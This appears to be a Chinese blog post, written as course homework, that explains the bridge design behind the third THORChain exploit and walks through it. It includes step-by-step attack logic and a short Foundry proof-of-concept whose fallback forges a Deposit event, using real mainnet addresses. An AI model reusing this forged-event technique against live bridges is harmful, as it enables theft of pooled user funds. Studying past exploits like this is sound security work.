图解跨链桥THORChain第三次攻击的攻击过程和POC

  • 老白
  • 更新于 2023-12-16 18:11
  • 阅读 1895

THORChain的背景知识THORChain是一个跨链桥。先后被攻击了三次,这里解析第三次。 本文的代码可以在Github是下载:https://github.com/rickwang9/HackerAnalysis

<!--StartFragment-->

一. THORChain 的背景知识

THORChain 是一个跨链桥。最基础的特点和其他桥都一样。验证节点监听原链的交易,验证没有问题,就把交易传递到目标链去执行。

7crossbridge_thorchain_1_.png

下面围绕这几个关键词简单说下 THORChain:金库, TSS,轮班,Memo解析,Router。

  • 金库:用户的token,流动性提供者的token都存在这里,类似uniswap的pool。

  • TSS:金库太重要了,为了安全,就需要多个验证者共同签名才能转移token,每个验证者相当于拿的都是私钥碎片,多个(一般超过2/3)验证者的私钥才是一个完整的金库地址的私钥。

  • 轮班:为了安全,验证者工作一段时间,就要离开,替补验证者登台干活。验证者轮班了,私钥也就变了,金库也得变。所以轮班的不只是验证者还有金库。

  • Router:路由合约,函数都由金库来操作。结合前面的知识就是:超过2/3的验证节点通过私钥签名,控制金库账户来调用Router合约。轮班时,金库=>新金库,就需要转移资产,调用的returnVaultAssets,本次漏洞攻击就在这个函数。

  • Memo解析:验证者,监听Router合约的Event事件来判断原链的交易,如果是 Deposit 事件,解析Memo字段,Memo是个拼接信息的字符串,判断去哪个链?要交易哪个Token?要多少?token最后发给哪个地址。

可以结合这三张图看上面的文字 7crossbridge_thorchain_2_轮班制度_.png

7crossbridge_thorchain_3_转移金库_.png

7crossbridge_thorchain_4_解析memo_.png

二. 攻击流程

概述攻击步骤

  • step1 攻击者创建攻击合约A,等待后面的重入时机。
  • step2 攻击者调用 THORChainRouter 合约的 returnVaultAssets(address router, address payable asgard, Coin[] memory coins, string memory memo)。第一个参数传入攻击合约A的地址。
  • step3 Route转账ETH,调用攻击合约Afallback 方法。
  • step4 攻击合约Afallback,emit一个 Deposit 事件,Memo随便写,只要写的不符合规范就行。
  • step5 THORChain 验证节点,监听到 Deposit 事件,就认为有用户存钱了,但是解析Memo字段失败,就从金库中给用户退款。(其实用户没转钱,只是伪造了一个 Deposit 事件。 )

图片解释攻击流程

7crossbridge_thorchain_6_整体流程_.png

三. POC

准备工作

最佳学习资料:DeFiHackLabs

SunWeb3Sec: 3. 自己动手写POC1 (Price Oracle Manipulation)\ SunWeb3Sec: 4. 自己动手写POC2 - MEV Bot\ SunWeb3Sec: 6. 自己动手写POC3 (Reentrancy)

工程里有大量POC代码,非常推荐!!!

开始开始POC逻辑

写了很多次POC,这次是唯一一次,不是攻击合约主动调用的攻击流程。 攻击合约只有一个函数 fallback,被动等待Router的returnVaultAssets调用。 fallback执行后,也不会立刻成功,可能是几个区块后,验证者节点解析了 Deposit事件失败,决定退款,攻击者才会得到Vault的转账。

于是最终的结果需要验证节点来驱动。所以,这个POC写完了也无法验证结果。

contract ContractTest is Test{

    event Deposit(address indexed to, address indexed asset, uint amount, string memo);

    function setUp() public {
        vm.createSelectFork('mainnet', 12878653 - 1);
    }

    fallback() external payable {
        address vaultAddress = address(0xf56cba49337a624e94042e325ad6bc864436e370);
        address XRUNEAddress = address(0x69fa0fee221ad11012bab0fdb45d444d3d2ce71c);
        uint safeAmount = 20_867_082_192_584_947_929_101_400;
        string memory memo = "10% VAR bounty would have prevented this";
        emit Deposit(vaultAddress, XRUNEAddress, safeAmount, memo);
    }

}

注意,returnVaultAssets 这个函数就不是给用户调用的,是给金库调用的。攻击人调用,就是看中了它能transfer ETH触发fallback,并且它是public的漏洞。

四. 最后

这是周亚金老师留的第七课作业,之前不熟悉跨链桥,花了很多的时间去了解,也就了解了皮毛,勉强完成作业。未来还需要更多的时间去学习。

<!--EndFragment-->

点赞 0
收藏 1
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
老白
老白
0x02e8...8358
江湖只有他的大名,没有他的介绍。